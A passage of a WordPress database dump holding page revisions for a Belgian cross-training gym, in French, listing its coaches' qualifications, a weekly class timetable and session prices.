(249, 1, '2013-07-03 19:48:41', '2013-07-03 19:48:41', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur GLFE consulting&lt;br&gt;\r\nFormateur coach&lt;br&gt;\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-27', '', '', '2013-07-03 19:48:41', '2013-07-03 19:48:41', '', 20, 'http://www.crosstrainingcenter.be/?p=249', 0, 'revision', '', 0),
(250, 1, '2013-07-03 19:51:00', '2013-07-03 19:51:00', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports&lt;br&gt;\r\nFormateur coach&lt;br&gt;\r\nCoach&lt;/h5&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-234 alignleft\&quot; alt=\&quot;guelor-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/guelor-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur GLFE consulting\r\n\r\nFormateur coach\r\n\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Instructeur de cours collectifs LES MILLS, présenteur international et formateur national&lt;/li&gt;\r\n	&lt;li&gt;Premier Trainer National Belge&lt;/li&gt;\r\n	&lt;li&gt;Personal trainer (formation Direct Fitness et Les Mills Coach) expert en kettlelbell, VIPR, Body Boxe et TRX&lt;/li&gt;\r\n	&lt;li&gt;Ancien footballeur semi-professionnel et passionné de sports de combat&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coatch&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-28', '', '', '2013-07-03 19:51:00', '2013-07-03 19:51:00', '', 20, 'http://www.crosstrainingcenter.be/?p=250', 0, 'revision', '', 0);
INSERT INTO `www_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(256, 1, '2013-07-03 19:13:39', '2013-07-03 19:13:39', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Les séances sont composées de différentes phases décrites selon le planning ci-dessous.\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\nUniquement sur rdv\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Coatching nutritionnel :&lt;/h2&gt;\r\nUniquement sur rdv\r\nRendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;_&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 19:13:39', '2013-07-03 19:13:39', '', 11, 'http://www.crosstrainingcenter.be/?p=256', 0, 'revision', '', 0),
(251, 1, '2013-07-03 19:52:22', '2013-07-03 19:52:22', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; 